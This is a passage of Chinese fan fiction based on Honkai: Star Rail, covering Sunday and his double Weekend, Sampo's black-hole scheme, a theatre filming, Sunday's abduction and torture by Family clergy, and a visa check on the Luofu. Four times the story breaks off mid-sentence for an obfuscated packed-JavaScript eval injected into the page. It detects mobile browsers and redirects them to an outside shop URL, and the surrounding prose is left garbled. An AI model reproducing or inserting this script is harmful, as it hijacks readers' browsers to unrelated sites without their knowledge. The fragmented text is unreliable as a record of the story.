星期日在水雾飞溅中站起身，长吸了一口气，然后声带鼓动，动听的歌声在空中织为一张温柔的网。 呼吸与曲调的节拍共起伏。 但他唱的并非一字一句遵循「家族」的圣典谐乐颂，而是属于他自己的歌。 “以正义的救化不义的， 以生者的铭记死者的， 不要盲目地献出死， 也不要苟且地为了生， 只有同一种声音的合乐才是沉寂， 唯有不谐的噪声喋喋无休， 方为人间的活力……”① 源出古老颂歌的新曲平复了狂躁的灵魂，记忆的星鲨停止了撞击，平静地游荡着，跟随旋律起起伏伏，放过来吞食他们的想法。 朱丽叶从衣领里头探出小小的绿色脑袋：“啊，得救了。” 桑博丢掉船桨，大口地喘息着：“不愧是花火看上的人，果然厉害！” “愚者，没必要打哑谜了，告诉我们，你究竟想要做什么。”星期日看了一眼波涛平息了的记忆之海，想要低头捡起那颗被随手抛掷了的星核，结果工作日抢了先。 “有「万界之癌」之称的强力武器。”工作日端详着这颗璀璨的物体，“落在了愚者的手里，确实挺有欢愉精神的。” 金色的天环在黑日的映衬下更显闪耀，像是皎洁的天使自暗中而来。 “赚点委托钱罢了。”桑博摊摊手，他的笑容一直高深莫测，“笑声没了听众，笑谈没了捧场的人，也就不够好笑了啊。我在回我那亲切的寒冷老家的路上，刚好遇见有人头疼如何处理这颗星核躯壳。” “这东西虽然其中蕴藏的能量散尽了，可壳子是经久不摧，不想个万全的办法也很难处理得漂亮。”桑博朝着后头巨大的黑洞看道，“正好我们愚者和伶人们是好伙伴，也顺带帮他们解决个麻烦。我斥巨资召开了酒馆会议，正是为了征召英杰来此协助。” “你的意思是，拿一种强大的力量碰撞另一种强大的力量。”工作日比划了一下，“然后两者中和，砰的一下，黑洞就消失了？” “差不多的道理。”桑博肯定道。 他继续说：“感谢花火找来了二位大人物，我刚刚已经见识过了，凭借你们的力量，一定没有问题！只要往这个星核壳子里注入相应的能量，就可以凭此激发出大范围的粒子爆发。” 桑博现在满脸期待，星期日回头望了一眼黑洞幽深的中央，然后坚决且严肃地回答道： “我拒绝。” 8. 振翅高飞 “我拒绝。” 星期日敛着神情背手站着，眼目一斜一挑，上位者的审视他拿捏地游刃有余。 不愧是他。 工作日暗笑了笑。 软茸茸的耳羽轻轻扑腾了两下，遮住了他唇边的笑意。 星期日对向桑博，继续说道：“除非，你，解释清楚事情的来龙去脉。” “这……” 桑博满是无奈，挠了挠头发：“这有违客户保密协定，不是我不想说，是我实在不能说啊。” 不知是愚者的大主顾是哪位——肯定绝非常人，桑博想打马虎眼糊弄过去，但星期日不听。 海平面正在缓缓上升，后头的黑日越逼越近。这儿的所有人基本上都和悲悼伶人们没有什么过深的交情，完全可以放任他们为黑洞泯灭，但如此做显然违背了他的道德认知。 星期日的静默持续了很长一段时间。 为了打破僵局，工作日抬手盖在那枚星核上，说：“既然你拒绝，不如我来帮你去。你那么想要我消失，现在岂不就是一个大好机会？” 他的存在代表了星期日心中一切不坦率、不坚定、不成熟的意志，自然常常怀有一种心思： 星期日做不到的，便应当由他来做。 “不。” 但是星期日从他手里取过星核：“我已得闻此事，便没有听而不答的道理。” “你把所有遇见的麻烦当做自己的责任……”工作日回答，“和匹诺康尼的时候有什么区别？你真的走出来了吗？” “神选的孩子。” 工作日的语调听起来刻薄尖酸，星期日镇定地反驳道：“作为某位爱笑的星神的造物，你难道不比我更像神选者？” “原来是同胞兄弟啊！”桑博插嘴道。 “我早说过了。”工作日勾起嘴角，“我就是你，无论你承认与否。” “容我多嘴一句。”桑博拉住星期日的胳膊，“要最大效果地触发能量对撞，就必须离得够近才行，到黑洞的中心去。「虚无」的力量，如同「毁灭」一般，在宇宙间日趋壮大，未来会有更多的黑洞孵育出来，在几个系统日里就可以成长到能够吸摄一个星系的大小。” “愚者，你这太不地道了。”工作日说，“你当我和他是「虚无」的令使吗？拿肉身对抗黑洞，是会被引力撕裂成碎屑的。何况处理Ⅸ的问题……” 正在工作日和桑博争锋相对的时候，星期日礼貌地请趴在自己领口的朱丽叶跳到工作日的手上，朱丽叶担忧地捂住心口。 然后他一闭眼，澄澈的光彩瞬间生发。 工作日在列车上教了他一回如何正确使用翅膀，他本非信仰「丰饶」的造翼者，在高空中翱翔不是属于他的宿命，然而哪有鸟儿不憧憬振翅高飞的快乐？ 他自船上跳了下去，肩胛骨后头抖出两道金色的长翅膀，逆着水流的方向飞越漫漫无边的记忆之海，靠近了黑洞的中央，化作了一个肉眼难辨的影点。 黑色的光一点点吞噬了他的形态。 工作日的视线凝重。 接着只在一眨眼的时间内，他们看到金色的羽翼舒展，甚至超越了黑洞的宽广。这样快速的变化，只有少数受过星神直接注视的蒙福者才可以看清，几双巨手在他身后托举住了他摇摇欲坠的身体，直面虚无之力的凶猛冲击。 没有声音的震动，传过缝隙。 海水退去了。 重新注入了巨幅能量的星核被抛掷进了黑洞的深处，命途交织的对冲导致了黑洞挤压收缩。由于星核的侵蚀，两者交相融合地一起消失了。 白色的巨手如同扬起一片羽毛般，令掌中的神子依循着温柔的风，降临在他的另一个自己面前。 工作日愣了一下，张开怀抱，以手臂的弧度接住因为耗尽力量而陷入沉眠的自己。 星期日闭上眼睛的时候，睫毛交叠在一起，微微地颤抖着光影，使他的面容显得肃穆宁静，却又隐约带着脆弱，让人不禁想要贴近去亲触神明的光泽，用吻安慰躁动的心灵。 不知为何，原本来回游弋的星鲸在彻底消散之前托举起他们的船身以及其他的贡多拉船儿，将他们放置在了琉璃光泽的悠长光带上。 工作日瞧着星期日的睡颜，他的头发略微凌乱，遮挡住了眼角，安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14596470|155980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静地枕在他的臂弯处。 “交个朋友吧，愚者。”工作日浅笑着说。 “嘿。”桑博回复，“能和您们交朋友，是我桑博的荣幸，可是那家伙会同意你和愚者做朋友？” “他管不了我。” 工作日摸进星期日的衣服内里，在他的胸腹处好一阵摸索，最后从他兜里掏出了所剩无几的信用点。 “你算是个商人吧？”工作日说，“我付你钱，当你的顾主，买你一条情报怎么样？” 桑博狡黠地摆了摆手：“哎呀，我虽然的确是个爱做生意的，可我更是位愚者啊！看乐子才是我的正经活计。” 桑博比花火更有道德底线一些——意思是说话没那么有趣——所以也更难懂一些。更何况，谁说所谓道德不能是一种乐子呢？ “一物换一物，一条情报换一条情报。”工作日调皮地揉了揉星期日的耳羽，很软，“你给我解释解释你的完美计划是什么，我告诉你一个我的秘密。” “成交。” 桑博愉快地打了个响指。 对付愚者的关键是跟随他们的逻辑，懂得这一点，万事迎刃而解。 “为表诚意，我先说。” 桑博做了个手势，然后撑着船顺光带而下，滑进了琉璃剧院的大门。 “我召集这些人来呢，主要是当苦力的。”桑博感叹道，“我一个人也没办法把这些变成了青蛙的悲悼伶人们运走，只能找些人来帮里，正好用他们自己的船运走他们自己。毕竟我们都没有「智识」的头脑，只能亲自去求助了。” 其它的贡多拉跟随桑博的船一并停靠在剧院里头，众人站在船上，抬头便是明光赫赫的琉璃吊灯。 此起彼伏的青蛙鸣叫声立刻包裹住了他们，所有的青蛙们聚集在剧院大厅，叠成了一堵青蛙墙，站在最上方的是一只戴着棕色帽子的机械青蛙。 它摘下帽子向众人致意。 “这一出大电影现在正式启幕！” “其名为：《剧院魅影》。” 银河著名导演·艺术家·创作者·桑博的大主顾·忆者·芮克先生转身华丽登场。 9. 英雄角色 数个系统时前。 那杯味道难以名状的咖啡令黑天鹅现在精神抖擞、头脑清醒，可以清楚地看见她那位难搞的同事向她发来了惊世骇俗的言论。 他为了拍电影简直发了疯了。 原始博士在悲悼伶人的地盘搞出了点麻烦事，而他居然想着拿他们的剧院当电影取景地，顺带在全宇宙招募领衔主演？ 黑天鹅好心地建议他这次另找合作伙伴，但千万别和某些棘手的家伙谈生意，免得惹火上身。这家伙在匹诺康尼的时候，就趟了一次原始博士的浑水，这回又来，真是和天才俱乐部的大天才纠缠不清了。 “关于主演，你有什么推荐人选吗？” 芮克先生发来了一条信息。 黑天鹅回忆了一下星穹列车领航员特制苦咖啡的珍贵味道，脑子里浮现出了个有趣的主意。 …… “嗯，这段素材不行，这段也不行！”芮克先生盯着手里的胶卷，手头搁着一杯气泡威士忌，“差劲的演员，差劲的台本，差劲的镜头感！这世间难道没有一个好演员了吗？” 这个时候，他遇见了一位有趣的愚者，向他推荐了悲悼伶人的最新大戏，建议他可以去交流交流艺术见解。 大致来说，这宇宙中的唯一真理，只有「欢愉」两个字。 克里珀一心筑墙，结果「毁灭」依旧大行其道。岚一心追猎药师，然而「丰饶」天命不死。博识尊洞悉万物，偏偏「神秘」阻挡祂传播真相。「记忆」宣称为了保存真实，可谁来判定何真何假？ 所以他来录制，他来剪辑，他来制作！ “精彩，精彩啊。” 芮克先生如痴如醉地拍手喝彩，他到达「帕特雷□□齐亚」的时候，刚好目睹了原始博士一声令下，悲悼伶人齐刷刷变成青蛙的盛况。 原始博士，也是个搞笑人。 可惜…… 还差一点。 一部成熟的商业大片可不能只有悲剧角色，还要有对应的喜剧角色，以及最后力挽狂澜的英雄角色！ 芮克先生正在苦思冥想，发现闻讯赶来的还有一位自称忍者的巡海游侠和另一位不知为何冒出来插一脚的愚者二号。 他与乱破在匹诺康尼合作得很愉快，不过这位忍侠急于追赶逃离的原始博士，在镜头中一闪而过，只能挂上一个惊喜客串的头衔了。 完美的电影素材摆在眼前，岂有弃之不理的道理。 ——记忆当然可以被制造，理解的角度取决于谁是制作人、谁是演员、谁是观众。 宇宙之间各个星神派系的彼此征伐形势瞬息万变，弹指之间便生趣事。 看着匆匆而过的乱破和诡谲莫测的愚者先生，芮克的脑子里也浮现出了一个有趣的主意：没有合适的主角？ 没事。 一样的道理，他可以自己制造，自己培养，自己宣传。正如他如何创作一部电影，他将如法炮制地创作一个新的“英雄角色”。 他已经想好了，他要推出系列电影，就叫—— “匹诺康尼之续集：XXXX” “主演：XXX” …… 啪嗒。 打板声响起。 “第二幕最后一场，假面舞会。” 一部电影需要起承转合，故事的开端、进展和高.潮，已经完美地摄入相机。他精心策划的故事只差一个完满的收尾，便是现在。 经历挫折的主角重整旗鼓，勇敢地拯救面临巨大危险的世界，收获珍贵的“爱情”。由匹诺康尼最帅气的男人扮演的主人公，一定会成为他的电影收藏中最浓墨重彩的一笔。 能有如此重量级的人物加盟，他付给愚者的大价钱可谓是太合算了。 “现在开始——！” 芮克先生沉浸在他的艺术表达中。 工作日无奈地低头看去，星期日还昏迷着，昏迷得不省人事。他心想，若是用耳羽遮住自己的眼睛和耳朵，是不是不会受这魔音侵扰了…… 疯人，真是一个接一个。 自从离了匹诺康尼，才发现原来那儿已经算是比较正常的地方了。 随着青蛙们不同声部汇合而成的宏大交响曲，芮克先生优雅地入场。 他戴上精致的假面——这就是所谓的“打破第四堵墙”！——假面一张叠一张——这就是所谓的“呼应原著”！ “啊——”他唱道，“我的音乐天使，你在哪儿？快快现身——” 他揭掉假面，露出一张新的假面，白色的假面，他走近了工作日。 工作日正半屈膝跪坐在地上，他将星期日靠墙放着，给他摆了个舒适的姿势。他还没得及反应，芮克先生啪的一下将白色的面具按到工作日脸上。 “但你是一道魅影，一个幽灵。”他睁大了红色的瞳孔，“一道自我的幻觉。” 这话说得倒没错。 工作日出于本能地想把面具给扯下来，结果发现它瞬间和自己的皮肤严丝合缝地黏在了一起。 芮克先生指导的歌舞感动了在场的所有人，无论是智械还是修士们，全部兴高采烈地加入了这幕演出。 要不是有这些人和他在一起。 他真的要怀疑自己是不是酒精上头，产生栩栩如生的幻想了。 “呱！” “而你的天使，就是——” “呱！” 芮克先生顺着螺旋楼梯而上，站在光辉闪耀的高处，扬起手臂遥遥一指。工作日几乎要站起来感慨一句，好一出烂戏……然而他还是用刻在骨子里的礼节教养克制住了这种冲动。 但此时正当芮克先生刚唱完这句的最后一个音节，那盏琉璃吊灯无比适时地坠落下来，火花四溅。 砰！ 剧院瞬间陷入漆黑的混乱，工作日警觉地回头查看星期日的情况，却惊讶地发现了一件极其糟糕的事情。 星期日不见了。 …… 剧场外头的停车坪。 “呦，伙计，干了票大的啊，还顺带交了个新朋友，看来不需要我了啊~” 花火一蹦一跳地从太空飞船里下来，这飞船被她开得横冲直撞，差点一头撞上剧院的墙，幸好最后猛踩急刹车堪堪停了下来。 “怎么会呢！”桑博赔笑道，“做生意嘛，朋友越多越好啊，你那一份的报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14596471|155980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酬，我可备好了，欢迎随时提现。” 花火叉腰，笑眯眯地说：“为了给这飞船加上油，我可是去附近的星系转了好大一圈，花了好多信用点才整来了燃料。这次卖你的人情，可不一般呐。” ……还不是你一锤子捶出来的问题！ 桑博扶额叹息。 “哎呀，出了雅利洛六号，我这是去哪儿一趟就欠一笔人情。”桑博苦哈哈地感慨道，“光是你一个人，抵得上十几位大人物呢。” “谁叫我好心呢~” 花火抱起手臂，瞧着独自陶醉的芮克先生，问道：“你说，这家伙到底在拍个什么故事？我怎么就是看不懂？” “他们这些命途行者，总有自己的追求。”桑博将自己的面具挂在了腰际，“有些人，看起来比我们还欢愉呢。” “可惜那大黑洞没把大家都平等地干掉，不然更欢愉呢！”花火愉快地抖了抖她的双马尾，“说到这个，看在我们这么多年的交情的份上，再免费分享一个情报给你。” 她自问自答道：“猜猜我刚刚回来的路上，遇到了谁？「家族」的人！他们说要来抓某个耳骨打钉子的男孩，已经做好了计划，潜伏许久，只等时机恰当就砰的一下出击~” “我们愚者不是在「家族」最讨厌的人名单上排前列的吗？”桑博细细思衬来，“你真是太有办法了，我桑博佩服啊。” 花火笑嘻嘻地挥手告别：“问我怎么知道的？自然有我花火大人独家的办法啰。你还是快去通知另一个鸡翅膀男孩吧，晚了可就赶不上热乎的了！” “我可真谢谢你。”桑博苦笑。 …… 芮克先生动用了某种「记忆」的力量，使舞台重新亮堂起来，小小的插曲无法阻止他的拍摄，他继续指导歌舞。 然后一曲唱罢。 他的电影总算是拍完了，坠毁的吊灯还凄惨地躺在地上，变成了碎片。 那吵闹的魔声终于停了下来，工作日方才获得了一片子耳根清净。他在人群中寻了半天，也没找到星期日的半点踪迹。 奇怪。 他消耗太多力量，不应该醒得过来啊。 工作日认真地思索着。 但是接下来现场又喧嚷起来，芮克先生居然本着人道主义精神，指挥桑博酒馆中带来的酒客们清点青蛙，然后送上贡多拉驶离剧院，场面实在不能说是井然有序。 “等等，你们要去哪？” 工作日叫住了芮克先生。 他扫视了下在场的所有人，发现少的人不只星期日，还有…… 芮克先生整理了下领结，详尽地回答道：“我签署的拍摄合同的附加条款要求我妥善地处理这场未来会被命名为「帕特雷□□齐亚」事件。不过这并非我的专长，所以我动用自己的关系邀请了博识学会暂时安置这些出色的群众演员，希望他们有朝一日能重获‘人’身。” 工作日其实无意追问芮克的安排，他现在明显更关心星期日去哪里了，他本打算张口询问，脑中却忽然灵光一现。 啊。 如今星期日不见了。 岂不是正好……他可以取而代之了。 10. 周而复始 工作日知道星期日想要解决他的决心十分坚定，一点没被花言巧语所蒙骗，从而陷入自我沉醉的情怀中。 即便那家伙一遍遍地说着什么改变、什么杂音、什么开拓的，然而他这样的人，真的能如此轻易地接受“非秩序”的存在？他迄今为止的一辈子都生活在高天之神的严格注视下，难道这么简单地就可以断绝过往的一切吗？ 不可能啊。 工作日这会儿心中交杂着雀跃的暗喜和深邃的担忧，手指轻轻地抚上面颊边缘。 这张一模一样的脸。 星期日一门心思想做拯救世界的善人，但他不够狠心，不够恶毒，不够卑鄙，不会穷极全部手段只为攥取权柄。 他的谋划太光明磊落了，所以才注定会失败！ 所以干脆让他来做最大的恶人，工作日想着，用这张纯良、清丽的面庞招来报复的火焰，一举统治诸天。 “哈哈哈哈哈哈哈。” 他可以纵情狂笑，因为他不像星期日那般受到内心道德的审判和约束，他要叫所有人心悦诚服、顶礼膜拜地臣服于他。 但在某一瞬间，他的指尖触碰到了面孔上覆盖着的那坚硬物体，冰冷而空廓。 一张来自悲悼伶人的白色假面，遮蔽住了他的容颜和神采。那个疯狂的导演将它按上了自己的脸，不知使了什么样的手法，竟然完全摘不下来。 一个妄想短促地破灭。 算了，只是随便想想罢了。 工作日收回漫无边际的想法，重新端起肃穆庄严的架子，望见人群里再度出现了那个熟悉的身影。 呦，另一位大善人—— 桑博来了。 …… 事实上。 他本该回贝洛伯格的冰雪世界去解决即将到来的灾厄，结果一路上被来来回回的各种事情拖住。 他桑博啊，可算是个老好人。 若是换作别的愚者，断然不会管悲悼伶人的蠢事。然而桑博并非普通的愚者，他有责任调节愚者和伶人之间微妙的平衡。毕竟没有悲悼伶人，也不会有假面愚者了啊。 世界需要平衡。 所以我们不能有个七个休息日，工作与假期交相间隔，构成了我们的生活。 而另一方面，比起“从中作梗”，“推波助澜”更符合桑博的欢愉美学原则。 鉴于他是个顶好的好心人，所以在走之前应当顺带通知一下工作日，根据他意外得到的情报，「家族」派来的人大概把星期日抓捕走了。 但工作日盯着他说：“你站住。” 他威严起来实在不输自己的本体。 “这事真的和在下没关系啊。”桑博连忙叫屈道。 工作日却不管他说了什么，直接命令说：“愚者，你和我一起去。” 很好，这下他又回不去了。 …… 密针细缕的疼痛唤醒了他。 他尝试动了动身子，却发现全身上下皆传来了剧烈的刺痛，像是荆棘的尖扎进了他的血肉一般。 在他的梦里，有清澈的光芒。 那时他们无需顾忌任何罪恶，只有保持心灵的纯洁。他们会在每顿饭前向祂「希佩」祈祷，感谢祂「希佩」的恩典，然后吃掉盘子里的所有食物，因为食物是宝贵的。然后他们聆听颂歌，阅读祂的事迹，知晓了宇宙中还有许多生民正在忍受饥馑的折磨，而他们得到了祂「希佩」的赐福，才能获得这等幸福的生活，故此要更加感恩、更加诚服，更爱他们的神。 可渐渐的，他长大了，随后发现原来他们一直祈祷的对象竟然不是祂「希佩」，而是隐藏在祂「希佩」躯壳中的「太一」。 于是他开始怀疑，开始质疑他过去所接收到的一切知识。 这便是拥有自主意识的第一步。 然而在光明圣洁的殿堂中，祂说一不二的绝对威权下，觉醒了自我的存在唯一的下场便是被驱逐出伊甸园。 长矛贯穿了他的翅膀，荆棘勾住了他的光环，炽热的火焰灼烧了他的肉.体。 他现在坠入到了何等黑暗的深渊。 不…… “你……是……何人？” 疼痛唤醒了他，然而并不是想象与回忆中的坠落，而是有人—— 绑架了他。 他被粗糙的荆棘捆绑在高大的十字架上，手脚皆受缚而动弹不得。之前为了消弭黑洞，他将力量尽可能多的注入了星核，以至于现在他有些过于虚弱而无法反抗。 一个身着修士服的人走近了他，手中举着十字架珠链，念念有词地唱着忏悔歌，眼中透出僵硬的信念。 星期日一眼认出他服装的制式。 是来自蒙托尔星系的家族。对方的长袍是暗淡的亚麻色，说明他仅仅是等级严明的家族中最下层的一类司铎。 蒙托尔星系的「家族」为何要在此时贸然对他出手？他仅仅是匹诺康尼辖下划定的逃犯，干涉此事对于「家族」来说，多少有些大费周章了吧。 “你有罪，你行了恶。”那修士举起十字架，“忏悔吧，罪人， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14596472|155980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祈求祂的宽恕吧。” 经过短暂的适应和迷茫，星期日的理智终于回笼，发现修士紧攥着的圣器闪出锐利的光芒，直接在他的舌上烙下了一枚多重交织的同谐纹章。 蒙托尔星系的「家族」非常擅长利用一些古老的严厉秘术，用以统御他们的子民。这样的手段在远方的匹诺康尼已经受到过改革，变得温和许多了。而蒙托尔星系的「家族」仍旧十分恪守传统，甚至说缺乏现代性的仁慈了。 这光芒滚烫无比，星期日的精神都差点有一瞬的崩溃，但他死咬着牙以意志抵御这种酷刑侵犯，眼眸之中本能性泛起白色的雾霭。 “说话，罪人，说出你的罪恶。”修士面目狰狞地逼近了他。 曾经身为家主的星期日再清楚不过，这种动用同谐之力设下的私刑会使得他—— 每说一句话、一个词、一个字，都是砭骨的疼痛，传遍脆弱的肉身。 但他可不是任人摆布的傀儡，他身居高位那么久，怎么会简简单单地落入下风？ 星期日哂笑了一下，抵着急剧的疼痛，语出讽刺：“来自蒙托尔星系的下等修士，你来问我的罪，究竟意欲何为？你苦苦研习修读多年，却始终无法获得升职与提拔，所以心生歪念，想走一条捷径？” 修士的脸唰的一下变色了，他没想到失去了大部分力量的星期日还能抵抗过他召来同谐之力施加的钳制。 “不对不对……”他慌张地摇头，“你不该说出这样的话，你应当向希佩告罪，阐明你身上深重的罪孽，然后我可以唤来……我得向他们证明我的能力，这样才能进入唱诗的圣殿，得到他们的认可……” 这修士只是遭他轻轻一激就慌了。 “还不够，我不能现在放弃，已经回不了头了，必须……” 然而星期日他一直以为人心本善，却好像低估了人的贪妄之欲和陷入绝境爆发出来的恶意。 那修士从怀中掏出蒙过圣光福泽的铁钉与锤子，径直冲了过来，星期日被他绑在十字架上，这样的姿势正适合他用蛮力将钉子敲入了星期日的掌心。 哐当。 尖锐的钉头刺进了皮肤，划破血肉，撕裂肌理，然后深深按进木板，锥心的痛感登时疯狂袭来。 绞痛。 血腥味弥漫在空气中。 还有他的唇间。 星期日的耳羽和胸脯因着火灼般的巨痛不受控地颤抖着，他骤然想到，这阴差阳错之下现在他真的成了受苦的神子。 周而复始，重归旧业了。 11. 罗浮仙舟（1） 两个系统时后。 罗浮仙舟入境管理处，快速签证核发通道，排队的人群缓慢移动着。 “下一个！” 签证官疏月麻木地给一份份快速签证敲上印章。 寰宇巨星知更鸟小姐即将在罗浮现在举办演唱会，导致最近入境人数陡然激增。天舶司司舵特意下令设立快速签证核发通道，方便宇宙各界人士前来参加盛会。 因此，她的工作量同样激增了。 “你们的通行证和证明材料呢？拿过来吧，抓紧时间。” 她抬起疲倦到乌黑的眼睛，对上了两张别无二致的面孔，连嘴角笑容的弧度都完全相同。 “啊。” 她一下清醒了。 来自同一张脸的双重暴击，像是一个人被复制了成了两个，多少和她昨晚熬夜看的恐怖幻戏有异曲同工之处。 “我们是来从遥远边星前来参加知更鸟小姐银河大巡演的，希望能通过签证审批。” 其中一位耳后有三对丰密耳羽的先生对着她彬彬有礼地说道：“这是我们的证件和演唱会门票，请您看看有没有什么问题。” 保持冷静—— 疏月佯装淡定地接过对方递来的厚厚一沓材料，逐份审视起来，一边谨慎地用余光观察他们两个人。 为了避免敌对分子借机混入仙舟，上级指示相关签证工作人员必须严格审查资料，不得放可疑人等进入仙舟。一方面，考虑到演唱会举办的实际需求，允许准入各类人士来激发经济活力；另一方面，罗浮此前屡遭劫难，在入境人员这个问题上又不能掉以轻心。最后重压和艰辛便来到所有坚守岗位的工作人员身上了。 “嗯……所以你们是……来自雅利洛六号星球的科斯基兄弟。” 疏月一板一眼地念出了手头资料上的信息，莫名地觉得有些不可置信，虽然她无从得知自己为何会产生这样的想法。 “是的，女士。”耳后有三对丰密耳羽的先生温文尔雅地点头。 他半藏半露在头发中的耳羽实在太引人注目了。 疏月不禁联想到了仙舟上随处可见的狐人耳朵和大尾巴，感慨道——他们一定会很有共通语言。 短暂的遐想之后，疏月继续核对信息：“你们一个叫维克安德（Weekend），一个叫萨特德尔（Saturday），在贝洛伯格城市车站做客流疏导员，然后还有一个名叫桑博的长兄在克里珀堡担任运首席输官的职务？” “没错，女士。”这位先生的语调保持着完美的恭谨与和煦，指着旁边的同伴，“我是维克安德·科斯基，这位是我的同胞弟弟萨特德尔，我们可是知更鸟小姐的忠实粉丝！” 真是奇怪的名字。 疏月暗暗腹诽道，她使劲眨了眨眼睛与睡意斗争，然后看见“萨特德尔”的脸色在听到“知更鸟小姐的忠实粉丝”几个词时微妙地闪了闪。 不对。 眼前的两个人着实长得一模一样，他们给出的演唱会门票是真的，证件也信息详尽，但她总觉得哪里不太对劲。 “嗯……”疏月顿了顿，手指按扣桌面，接着说道，“根据我司程序规定，接下来我会询问你们几个问题来考察你们所提供证件的真实性，请如实作答，谢谢。” “没问题。” 自称维克安德·科斯基的男人点了点头。 疏月打量着他毫无纰漏的笑容，竟然生生地觉出了一股寒意。 他们的姿态和仪容带着非同凡响的从容，甚至谈及自己是忠实粉丝之时，虽然眼中隐隐显出喜悦，却在言语之间压制了起伏的情绪。他们的态度完全不像是急迫等待签证的普通粉丝。 凭借几百年工作磨炼出来的直觉，疏月断定这两人肯定不简单，可是该从哪里寻找突破口呢？ 这时，一股淡淡的血腥味飘进了她的鼻子里，她的目光顺势移过去。 那人的掌心沾着血迹。 她突然灵光一动，对着那位始终没有开口的男士警惕地问道：“萨特德尔先生，你的手是受伤了吗？” 半响的沉默。 “是吗？”他挑了挑眉，语调上扬。 这反问的语气…… 疏月愣了愣，眉头拧了起来。 与此同时，在她的对面，保持着完美笑容的工作日紧张地瞥了一眼星期日，不禁心里猜测，他应该还没有狂傲到在仙舟动用同谐的力量吧？ 然而化名为萨特德尔的星期日，微微抿了抿嘴，向签证官摊开掌心。 —— 时钟拨回到两个系统时之前。 工作日弯腰钻进他们向星穹列车借来的飞船里，然后将自己脑后的天环摘下，戴在了中间的折纸小鸟玩偶头上。这艘飞船先被花火锤了一锤子，后来顺着记忆之海飘远了，现在居然能完好地找回来。 驾驶室另一边本该是星期日的座位上现在坐着的是桑博，他半是自愿，半是受胁迫地被工作日带上了飞船。 他全身上下充满了一种让人看不穿的气质，既欢愉，又悲戚的。倒颇有让人想要戏弄一番的冲动。 捉弄一位愚者？ 非常符合啊哈的处事准则。 “我的天哪！您高抬贵手饶了我吧，我实在不知道「家族」的人到底在搞什么。”桑博大声辩解道，然而身体很诚实地踩了一脚油门，飞船狂飙了出去。 工作日目不斜视地盯着导航路线：“我早先就看到你的酒馆里混进了「家族」的修士，原本以为只是来喝酒的，没想到竟然是计划追捕他的。” 算是他的疏忽吗…… 家族的人居然有本事在他眼前绑架走星期日，肯定动用了一些关键力量。 “他们应当策划了某些事情。”工作日揣测道。 “哎呀，我们酒馆素来对追求欢愉的人来者不拒。”桑博干脆也不装了，“你们「家族」的事轮不到我一个愚者置喙，不过我多少也有听闻匹诺康尼的谐乐大典并没有完成它的使命，所以有些蛀虫打算再干一次。” “再干一次？”工作日若有所思，“你怎么能够得到这么精准的消息？” “我桑博自然有桑博独家的渠道啦。” 当时星期日篡夺了齐响诗班「多米尼克斯」的权柄，利用「秩序」的力量制造了太一之梦。他被击败之后，理论上「同谐」的令使没有真正降临，带来希佩的福音。 希佩的化身除了齐响诗班之外，还有三位，如果家族企图再次呼唤神降，来应对沸沸扬扬的传言当中提及的“众神之战”…… 「同谐」令使的降临必然需要一个载体。 工作日感到了不详的气息。 这片星域不算大，对方的飞船自信到甚至没有刻意隐匿行踪，多谢桑博及时的情报，他们立马就追上了。 「家族」的人说实话特别爱在宇宙间显摆自己的身姿，他们巴不得向所有人宣传希佩的教义。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14596473|155980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “兄弟，你打算就这么冲进去吗？” 桑博透过视镜观察到他们有几个全副武装的守卫正在巡逻。 他露出狡诈的笑容：“需不需要来点小武器和小炸弹什么的？我这里还有仙舟的通行证和知更鸟演唱会的门票呢！” “不必。” 工作日交叉了一下右手手指，压了压目线，朦胧的光给他周身镀上一层色彩。 桑博惊骇地发现自己眼中的工作日当即从长着翅膀的男孩瞬间变成了身披红衣、头戴高帽的主教模样，白色的面具遮住了他的面容，看不出任何神情。 “呀……” “说到这个，倒是多亏了那个疯子导演非要给我戴上这个拿不掉的面具，我的伪装才能够更逼真。” 工作日站起身来，开门：“这里毕竟不是「同谐」的领地，借助希佩的力量是有限的，得抓紧时间。” “这面具可和我没有任何关系。”桑博在后头忙不迭撇清关系。 